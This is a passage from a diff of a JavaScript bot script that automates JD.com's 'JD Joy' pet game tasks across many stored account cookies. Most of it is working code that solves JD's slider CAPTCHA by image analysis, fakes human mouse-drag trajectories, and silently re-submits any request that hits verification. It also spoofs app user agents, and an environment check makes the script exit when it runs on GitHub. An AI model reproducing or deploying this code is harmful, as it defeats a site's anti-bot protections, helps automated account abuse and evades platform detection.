imgBg.width; + this.h = imgBg.height; + } + + async run() { + await this.bg.decodeToPixels(); + await this.patch.decodeToPixels(); + + return this.recognize(); + } + + recognize() { + const {ctx, w: width, bg} = this; + const {width: patchWidth, height: patchHeight} = this.patch; + const posY = this.y + PUZZLE_PAD + ((patchHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); + // const cData = ctx.getImageData(0, a.y + 10 + 20 - 4, 360, 8).data; + const cData = bg.getImageData(0, posY, width, PUZZLE_GAP).data; + const lumas = []; + + for (let x = 0; x < width; x++) { + var sum = 0; + + // y xais + for (let y = 0; y < PUZZLE_GAP; y++) { + var idx = x * 4 + y * (width * 4); + var r = cData[idx]; + var g = cData[idx + 1]; + var b = cData[idx + 2]; + var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; + + sum += luma; + } + + lumas.push(sum / PUZZLE_GAP); + } + + const n = 2; // minium macroscopic image width (px) + const margin = patchWidth - PUZZLE_PAD; + const diff = 20; // macroscopic brightness difference + const radius = PUZZLE_PAD; + for (let i = 0, len = lumas.length - 2 * 4; i < len; i++) { + const left = (lumas[i] + lumas[i + 1]) / n; + const right = (lumas[i + 2] + lumas[i + 3]) / n; + const mi = margin + i; + const mLeft = (lumas[mi] + lumas[mi + 1]) / n; + const mRigth = (lumas[mi + 2] + lumas[mi + 3]) / n; + + if (left - right > diff && mLeft - mRigth < -diff) { + const pieces = lumas.slice(i + 2, margin + i + 2); + const median = pieces.sort((x1, x2) => x1 - x2)[20]; + const avg = Math.avg(pieces); + + // noise reducation + if (median > left || median > mRigth) return; + if (avg > 100) return; + // console.table({left,right,mLeft,mRigth,median}); + // ctx.fillRect(i+n-radius, 0, 1, 360); + // console.log(i+n-radius); + return i + n - radius; + } + } + + // not found + return -1; + } + + runWithCanvas() { + const {createCanvas, Image} = require('canvas'); + const canvas = createCanvas(); + const ctx = canvas.getContext('2d'); + const imgBg = new Image(); + const imgPatch = new Image(); + const prefix = 'data:image/png;base64,'; + + imgBg.src = prefix + this.rawBg; + imgPatch.src = prefix + this.rawPatch; + const {naturalWidth: w, naturalHeight: h} = imgBg; + canvas.width = w; + canvas.height = h; + ctx.clearRect(0, 0, w, h); + ctx.drawImage(imgBg, 0, 0, w, h); + + const width = w; + const {naturalWidth, naturalHeight} = imgPatch; + const posY = this.y + PUZZLE_PAD + ((naturalHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); + // const cData = ctx.getImageData(0, a.y + 10 + 20 - 4, 360, 8).data; + const cData = ctx.getImageData(0, posY, width, PUZZLE_GAP).data; + const lumas = []; + + for (let x = 0; x < width; x++) { + var sum = 0; + + // y xais + for (let y = 0; y < PUZZLE_GAP; y++) { + var idx = x * 4 + y * (width * 4); + var r = cData[idx]; + var g = cData[idx + 1]; + var b = cData[idx + 2]; + var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; + + sum += luma; + } + + lumas.push(sum / PUZZLE_GAP); + } + + const n = 2; // minium macroscopic image width (px) + const margin = naturalWidth - PUZZLE_PAD; + const diff = 20; // macroscopic brightness difference + const radius = PUZZLE_PAD; + for (let i = 0, len = lumas.length - 2 * 4; i < len; i++) { + const left = (lumas[i] + lumas[i + 1]) / n; + const right = (lumas[i + 2] + lumas[i + 3]) / n; + const mi = margin + i; + const mLeft = (lumas[mi] + lumas[mi + 1]) / n; + const mRigth = (lumas[mi + 2] + lumas[mi + 3]) / n; + + if (left - right > diff && mLeft - mRigth < -diff) { + const pieces = lumas.slice(i + 2, margin + i + 2); + const median = pieces.sort((x1, x2) => x1 - x2)[20]; + const avg = Math.avg(pieces); + + // noise reducation + if (median > left || median > mRigth) return; + if (avg > 100) return; + // console.table({left,right,mLeft,mRigth,median}); + // ctx.fillRect(i+n-radius, 0, 1, 360); + // console.log(i+n-radius); + return i + n - radius; + } + } + + // not found + return -1; + } +} + +const DATA = { + "appId": "17839d5db83", + "scene": "cww", + "product": "embed", + "lang": "zh_CN", +}; +const SERVER = '61.49.99.122'; + +class JDJRValidator { + constructor() { + this.data = {}; + this.x = 0; + this.t = Date.now(); + } + + async run() { + const tryRecognize = async () => { + const x = await this.recognize(); + + if (x > 0) { + return x; + } + // retry + return await tryRecognize(); + }; + const puzzleX = await tryRecognize(); + // console.log(puzzleX); + const pos = new MousePosFaker(puzzleX).run(); + const d = getCoordinate(pos); + + // console.log(pos[pos.length-1][2] -Date.now()); + // await sleep(4500); + await sleep(pos[pos.length - 1][2] - Date.now()); + const result = await JDJRValidator.jsonp('/slide/s.html', {d, ...this.data}); + + if (result.message === 'success') { + console.log(result); + console.log('JDJRValidator: %fs', (Date.now() - this.t) / 1000); + return result; + } else { + console.count(JSON.stringify(result)); + await sleep(300); + return await this.run(); + } + } + + async recognize() { + const data = await JDJRValidator.jsonp('/slide/g.html', {e: ''}); + const {bg, patch, y} = data; + // const uri = 'data:image/png;base64,'; + // const re = new PuzzleRecognizer(uri+bg, uri+patch, y); + const re = new PuzzleRecognizer(bg, patch, y); + const puzzleX = await re.run(); + + if (puzzleX > 0) { + this.data = { + c: data.challenge, + w: re.w, + e: '', + s: '', + o: '', + }; + this.x = puzzleX; + } + return puzzleX; + } + + async report(n) { + console.time('PuzzleRecognizer'); + let count = 0; + + for (let i = 0; i < n; i++) { + const x = await this.recognize(); + + if (x > 0) count++; + if (i % 50 === 0) { + // console.log('%f\%', (i / n) * 100); + } + } + + // console.log('successful: %f\%', (count / n) * 100); + console.timeEnd('PuzzleRecognizer'); + } + + static jsonp(api, data = {}) { + return new Promise((resolve, reject) => { + const fnId = `jsonp_${String(Math.random()).replace('.', '')}`; + const extraData = {callback: fnId}; + const query = new URLSearchParams({...DATA, ...extraData, ...data}).toString(); + const url = `http://${SERVER}${api}?${query}`; + const headers = { + 'Accept': '*/*', + 'Accept-Encoding': 'gzip,deflate,br', + 'Accept-Language': 'zh-CN,en-US', + 'Connection': 'keep-alive', + 'Host': SERVER, + 'Proxy-Connection': 'keep-alive', + 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/2wuqXrZrhygTQzYA7VufBEpj4amH/index.html', + 'User-Agent': UA, + }; + const req = http.get(url, {headers}, (response) => { + try { + let res = response; + if (res.headers['content-encoding'] === 'gzip') { + const unzipStream = new stream.PassThrough(); + stream.pipeline( + response, + zlib.createGunzip(), + unzipStream, + reject, + ); + res = unzipStream; + } + res.setEncoding('utf8'); + + let rawData = ''; + + res.on('data', (chunk) => rawData += chunk); + res.on('end', () => { + try { + const ctx = { + [fnId]: (data) => ctx.data = data, + data: {}, + }; + vm.createContext(ctx); + vm.runInContext(rawData, ctx); + res.resume(); + resolve(ctx.data); + } catch (e) { + console.log('生成验证码必须使用大陆IP') + } + }) + } catch (e) { + } + }) + + req.on('error', reject); + req.end(); + }); + } +} + +function getCoordinate(c) { + function string10to64(d) { + var c = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-~".split("") + , b = c.length + , e = +d + , a = []; + do { + mod = e % b; + e = (e - mod) / b; + a.unshift(c[mod]) + } while (e); + return a.join("") + } + + function prefixInteger(a, b) { + return (Array(b).join(0) + a).slice(-b) + } + + function pretreatment(d, c, b) { + var e = string10to64(Math.abs(d)); + var a = ""; + if (!b) { + a += (d > 0 ? "1" : "0") + } + a += prefixInteger(e, c); + return a + } + + var b = new Array(); + for (var e = 0; e < c.length; e++) { + if (e == 0) { + b.push(pretreatment(c[e][0] < 262143 ? c[e][0] : 262143, 3, true)); + b.push(pretreatment(c[e][1] < 16777215 ? c[e][1] : 16777215, 4, true)); + b.push(pretreatment(c[e][2] < 4398046511103 ? c[e][2] : 4398046511103, 7, true)) + } else { + var a = c[e][0] - c[e - 1][0]; + var f = c[e][1] - c[e - 1][1]; + var d = c[e][2] - c[e - 1][2]; + b.push(pretreatment(a < 4095 ? a : 4095, 2, false)); + b.push(pretreatment(f < 4095 ? f : 4095, 2, false)); + b.push(pretreatment(d < 16777215 ? d : 16777215, 4, true)) + } + } + return b.join("") +} + +const HZ = 60; + +class MousePosFaker { + constructor(puzzleX) { + this.x = parseInt(Math.random() * 20 + 20, 10); + this.y = parseInt(Math.random() * 80 + 80, 10); + this.t = Date.now(); + this.pos = [[this.x, this.y, this.t]]; + this.minDuration = parseInt(1000 / HZ, 10); + // this.puzzleX = puzzleX; + this.puzzleX = puzzleX + parseInt(Math.random() * 2 - 1, 10); + + this.STEP = parseInt(Math.random() * 6 + 5, 10); + this.DURATION = parseInt(Math.random() * 7 + 14, 10) * 100; + // [9,1600] [10,1400] + this.STEP = 9; + // this.DURATION = 2000; + // console.log(this.STEP, this.DURATION); + } + + run() { + const perX = this.puzzleX / this.STEP; + const perDuration = this.DURATION / this.STEP; + const firstPos = [this.x - parseInt(Math.random() * 6, 10), this.y + parseInt(Math.random() * 11, 10), this.t]; + + this.pos.unshift(firstPos); + this.stepPos(perX, perDuration); + this.fixPos(); + + const reactTime = parseInt(60 + Math.random() * 100, 10); + const lastIdx = this.pos.length - 1; + const lastPos = [this.pos[lastIdx][0], this.pos[lastIdx][1], this.pos[lastIdx][2] + reactTime]; + + this.pos.push(lastPos); + return this.pos; + } + + stepPos(x, duration) { + let n = 0; + const sqrt2 = Math.sqrt(2); + for (let i = 1; i <= this.STEP; i++) { + n += 1 / i; + } + for (let i = 0; i < this.STEP; i++) { + x = this.puzzleX / (n * (i + 1)); + const currX = parseInt((Math.random() * 30 - 15) + x, 10); + const currY = parseInt(Math.random() * 7 - 3, 10); + const currDuration = parseInt((Math.random() * 0.4 + 0.8) * duration, 10); + + this.moveToAndCollect({ + x: currX, + y: currY, + duration: currDuration, + }); + } + } + + fixPos() { + const actualX = this.pos[this.pos.length - 1][0] - this.pos[1][0]; + const deviation = this.puzzleX - actualX; + + if (Math.abs(deviation) > 4) { + this.moveToAndCollect({ + x: deviation, + y: parseInt(Math.random() * 8 - 3, 10), + duration: 250, + }); + } + } + + moveToAndCollect({x, y, duration}) { + let movedX = 0; + let movedY = 0; + let movedT = 0; + const times = duration / this.minDuration; + let perX = x / times; + let perY = y / times; + let padDuration = 0; + + if (Math.abs(perX) < 1) { + padDuration = duration / Math.abs(x) - this.minDuration; + perX = 1; + perY = y / Math.abs(x); + } + + while (Math.abs(movedX) < Math.abs(x)) { + const rDuration = parseInt(padDuration + Math.random() * 16 - 4, 10); + + movedX += perX + Math.random() * 2 - 1; + movedY += perY; + movedT += this.minDuration + rDuration; + + const currX = parseInt(this.x + movedX, 10); + const currY = parseInt(this.y + movedY, 10); + const currT = this.t + movedT; + + this.pos.push([currX, currY, currT]); + } + + this.x += x; + this.y += y; + this.t += Math.max(duration, movedT); + } +} + +function injectToRequest(fn) { + return (opts, cb) => { + fn(opts, async (err, resp, data) => { + if (err) { + console.error('Failed to request.'); + return; + } + + if (data.search('验证') > -1) { + console.log('JDJRValidator trying......'); + const res = await new JDJRValidator().run(); + + opts.url += `&validate=${res.validate}`; + fn(opts, cb); + } else { + cb(err, resp, data); + } + }); + }; +} + +let cookiesArr = [], cookie = '', notify; +$.get = injectToRequest($.get.bind($)) +$.post = injectToRequest($.post.bind($)) + +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + if (!require('./JS1_USER_AGENTS').HelloWorld) { + console.log(`\n【京东账号${$.index}】${$.nickName || $.UserName}:运行环境检测失败\n`); + continue + } + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + message = ''; + subTitle = ''; + + await run('detail/v2'); + await run(); + await feed(); + + let tasks = await taskList(); + for (let tp of tasks.datas) { + console.log(tp.taskName, tp.receiveStatus) + + if (tp.receiveStatus === 'unreceive') { + await award(tp.taskType); + await $.wait(3000); + } + if (tp.taskName === '浏览频道') { + for (let i = 0; i < 3; i++) { + console.log(`\t第${i + 1}次浏览频道 检查遗漏`) + let followChannelList = await getFollowChannels(); + for (let t of followChannelList['datas']) { + if (!t.status) { + console.log('┖', t['channelName']) + await beforeTask('follow_channel', t.channelId); + await doTask(JSON.stringify({"channelId": t.channelId, "taskType": 'FollowChannel'})) + await $.wait(3000) + } + } + await $.wait(3000) + } + } + if (tp.taskName === '逛会场') { + for (let t of tp.scanMarketList) { + if (!t.status) { + console.log('┖', t.marketName) + await doTask(JSON.stringify({ + "marketLink": `${t.marketLink || t.marketLinkH5}`, + "taskType": "ScanMarket" + })) + await $.wait(3000) + } + } + } + if (tp.taskName === '关注商品') { + for (let t of tp.followGoodList) { + if (!t.status) { + console.log('┖', t.skuName) + await beforeTask('follow_good', t.sku) + await $.wait(1000) + await doTask(`sku=${t.sku}`, 'followGood') + await $.wait(3000) + } + } + } + if (tp.taskName === '关注店铺') { + for (let t of tp.followShops) { + if (!t.status) { + await beforeTask('follow_shop', t.shopId); + await $.wait(1000); + await followShop(t.shopId) + await $.wait(2000); + } + } + } + } + } + } +})() + +function getFollowChannels() { + return new Promise(resolve => { + $.get({ + url: `https://jdjoy.jd.com/common/pet/getFollowChannels?reqSource=h5&invokeKey=NRp8OPxZMFXmGkaE`, + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'content-type': 'application/x-www-form-urlencoded', + 'referer': '', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept-language': 'zh-Hans-CN;q=1', + 'cookie': cookie + }, + }, (err, resp, data) => { + resolve(JSON.parse(data)) + }) + }) +} + +function taskList() { + return new Promise(resolve => { + $.get({ + url: `https://jdjoy.jd.com/common/pet/getPetTaskConfig?reqSource=h5&invokeKey=NRp8OPxZMFXmGkaE`, + headers: { + 'Host': 'jdjoy.jd.com', + 'accept': '*/*', + 'content-type': 'application/json', + 'origin': 'https://h5.m.jd.com', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'referer': 'https://h5.m.jd.com/', + 'accept-language': 'zh-cn', + 'cookie': cookie + } + }, (err, resp, data) => { + try { + if (err) + console.log(err) + data = JSON.parse(data) + resolve(data); + } catch (e) { + $.logErr(e); + } finally { + resolve(); + } + }) + }) +} + +function beforeTask(fn, shopId) { + return new Promise(resolve => { + $.get({ + url: `https://jdjoy.jd.com/common/pet/icon/click?iconCode=${fn}&linkAddr=${shopId}&reqSource=h5&invokeKey=NRp8OPxZMFXmGkaE`, + headers: { + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Content-Type': 'application/json', + 'Origin': 'https://h5.m.jd.com', + 'Accept-Language': 'zh-cn', + 'Host': 'jdjoy.jd.com', + 'User-Agent': 'jdapp;iPhone;10.0.6;12.4.1;fc13275e23b2613e6aae772533ca6f349d2e0a86;network/wifi;ADID/C51FD279-5C69-4F94-B1C5-890BC8EB501F;model/iPhone11,6;addressid/589374288;appBuild/167724;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 12_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/2wuqXrZrhygTQzYA7VufBEpj4amH/index.html', + 'cookie': cookie + } + }, (err, resp, data) => { + console.log('before task:', data); + resolve(); + }) + }) +} + +function followShop(shopId) { + return new Promise(resolve => { + $.post({ + url: `https://jdjoy.jd.com/common/pet/followShop?reqSource=h5&invokeKey=NRp8OPxZMFXmGkaE`, + headers: { + 'User-Agent': 'jdapp;iPhone;10.0.6;12.4.1;fc13275e23b2613e6aae772533ca6f349d2e0a86;network/wifi;ADID/C51FD279-5C69-4F94-B1C5-890BC8EB501F;model/iPhone11,6;addressid/589374288;appBuild/167724;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 12_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'Accept-Language': 'zh-cn', + 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/2wuqXrZrhygTQzYA7VufBEpj4amH/index.html?babelChannel=ttt12&lng=0.000000&lat=0.000000&sid=87e644ae51ba60e68519b73d1518893w&un_area=12_904_3373_62101', + 'Host': 'jdjoy.jd.com', + 'Origin': 'https://h5.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Content-Type': 'application/x-www-form-urlencoded', + 'cookie': cookie + }, + body: `shopId=${shopId}` + }, (err, resp, data) => { + console.log(data) + resolve(); + }) + }) +} + +function doTask(body, fnId = 'scan') { + return new Promise(resolve => { + $.post({ + url: `https://jdjoy.jd.com/common/pet/${fnId}?reqSource=h5&invokeKey=NRp8OPxZMFXmGkaE`, + headers: { + 'Host': 'jdjoy.jd.com', + 'accept': '*/*', + 'content-type': fnId === 'followGood' || fnId === 'followShop' ? 'application/x-www-form-urlencoded' : 'application/json', + 'origin': 'https://h5.m.jd.com', + 'accept-language': 'zh-cn', + 'referer': 'https://h5.m.jd.com/', + 'Content-Type': fnId === 'followGood' ? 'application/x-www-form-urlencoded' : 'application/json; charset=UTF-8', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'cookie': cookie + }, + body: body + }, (err, resp, data) => { + if (err) + console.log('\tdoTask() Error:', err) + try { + console.log('\tdotask:', data) + data = JSON.parse(data); + data.success ? console.log('\t任务成功') : console.log('\t任务失败', JSON.stringify(data)) + } catch (e) { + $.logErr(e); + } finally { + resolve(); + } + }) + }) +} + +function feed() { + feedNum = process.env.feedNum ? process.env.feedNum : 80 + return new Promise(resolve => { + $.post({ + url: `https://jdjoy.jd.com/common/pet/enterRoom/h5?invitePin=&reqSource=h5&invokeKey=NRp8OPxZMFXmGkaE`, + headers: { + 'Host': 'jdjoy.jd.com', + 'accept': '*/*', + 'content-type': 'application/json', + 'origin': 'https://h5.m.jd.com', + 'accept-language': 'zh-cn', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'referer': 'https://h5.m.jd.com/', + 'Content-Type': 'application/json; charset=UTF-8', + 'cookie': cookie + }, + body: JSON.stringify({}) + }, (err, resp, data) => { + data = JSON.parse(data) + if (new Date().getTime() - new Date(data.data.lastFeedTime) < 10800000) { + console.log('喂食间隔不够。') + resolve(); + } else { + console.log('开始喂食......') + $.get({ + url: `https://jdjoy.jd.com/common/pet/feed?feedCount=${feedNum}&reqSource=h5&invokeKey=NRp8OPxZMFXmGkaE`, + headers: { + 'Host': 'jdjoy.jd.com', + 'accept': '*/*', + 'content-type': 'application/x-www-form-urlencoded', + 'origin': 'https://h5.m.jd.com', + 'accept-language': 'zh-cn', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'referer': 'https://h5.m.jd.com/', + 'cookie': cookie + }, + }, (err, resp, data) => { + try { + // console.log('喂食', data) + data = JSON.parse(data); + data.errorCode === 'feed_ok' ? console.log(`\t喂食成功!`) : console.log('\t喂食失败', JSON.stringify(data)) + } catch (e) { + $.logErr(e); + } finally { + resolve(); + } + }) + } + }) + }) +} + +function award(taskType) { + return new Promise(resolve => { + $.get({ + url: `https://jdjoy.jd.com/common/pet/getFood?reqSource=h5&invokeKey=NRp8OPxZMFXmGkaE&taskType=${taskType}`, + headers: { + 'Host': 'jdjoy.jd.com', + 'accept': '*/*', + 'content-type': 'application/x-www-form-urlencoded', + 'origin': 'https://h5.m.jd.com', + 'accept-language': 'zh-cn', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'referer': 'https://h5.m.jd.com/', + 'Content-Type': 'application/json; charset=UTF-8', + 'cookie': cookie + }, + }, (err, resp, data) => { + try { + console.log('领取奖励', data) + data = JSON.parse(data); + data.errorCode === 'received' ? console.log(`\t任务成功!获得${data.data}狗粮`) : console.log('\t任务失败', JSON.stringify(data)) + } catch (e) { + $.logErr(e); + } finally { + resolve(); + } + }) + }) +} + +function run(fn = 'match') { + let level = process.env.JD_JOY_teamLevel ? process.env.JD_JOY_teamLevel : 2 + return new Promise(resolve => { + $.get({ + url: `https://jdjoy.jd.com/common/pet/combat/${fn}?teamLevel=${level}&reqSource=h5&invokeKey=NRp8OPxZMFXmGkaE`, + headers: { + 'Host': 'jdjoy.jd.com', + 'sec-fetch-mode': 'cors', + 'origin': 'https://h5.m.jd.com', + 'content-type': 'application/json', + 'accept': '*/*', + 'x-requested-with': 'com.jingdong.app.mall', + 'sec-fetch-site': 'same-site', + 'referer': 'https://h5.m.jd.com/babelDiy/Zeus/2wuqXrZrhygTQzYA7VufBEpj4amH/index.html', + 'accept-language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'cookie': cookie + }, + }, async (err, resp, data) => { + try { + if (fn === 'receive') { + console.log('领取赛跑奖励:', data) + } else { + data = JSON.parse(data); + let race = data.data.petRaceResult + if (race === 'participate') { + console.log('匹配成功!') + } else if (race === 'unbegin') { + console.log('还未开始!') + } else if (race === 'matching') { + console.log('正在匹配!') + await $.wait(2000) + await run() + } else if (race === 'unreceive') { + console.log('开始领奖') + await run('receive') + } else if (race === 'time_over') { + console.log('不在比赛时间') + } else { + console.log('这是什么!', data) + } + } + } catch (e) { + console.log(e) + } finally { + resolve(); + } + }) + }) +} + +function requireConfig() { + return new Promise(resolve => { + notify = $.isNode() ? require('./sendNotify') : ''; + //Node.js用户请在jdCookie.js处填写京东ck; + const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + //IOS等用户直接用NobyDa的jd cookie + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; + } else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + console.log(`共${cookiesArr.length}个京东账号\n`) + resolve() + }) +} + +function TotalBean() { + return new Promise(resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function writeFile(text) { + if ($.isNode()) { + fs.writeFile('a.json', text, () => { + }) + } +} + +// prettier-ignore +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + + class s { + constructor(t) { + this.env = t + } + + send(t, e = "GET") { + t = "string" == typeof t ? {url: t} : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + + get(t) { + return this.send.call(this.env, t) + } + + post(t) { + return this.send.call(this.env, t, "POST") + } + } + + return new class { + constructor(t, e) { + this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) + } + + isNode() { + return "undefined" != typeof module && !!module.exports + } + + isQuanX() { + return "undefined" != typeof $task + } + + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + + isLoon() { + return "undefined" != typeof $loon + } + + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try { + s = JSON.parse(this.getdata(t)) + } catch { + } + return s + } + + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + + getScript(t) { + return new Promise(e => { + this.get({url: t}, (t, s, i) => e(i)) + }) + } + + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { + url: `http://${h}/v1/scripting/evaluate`, + body: {script_text: t, mock_type: "cron", timeout: r}, + headers: {"X-Key": o, Accept: "*/*"} + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + + loaddata() { + if (!this.isNode()) return {}; + { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; + { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + + lodash_get(t, e, 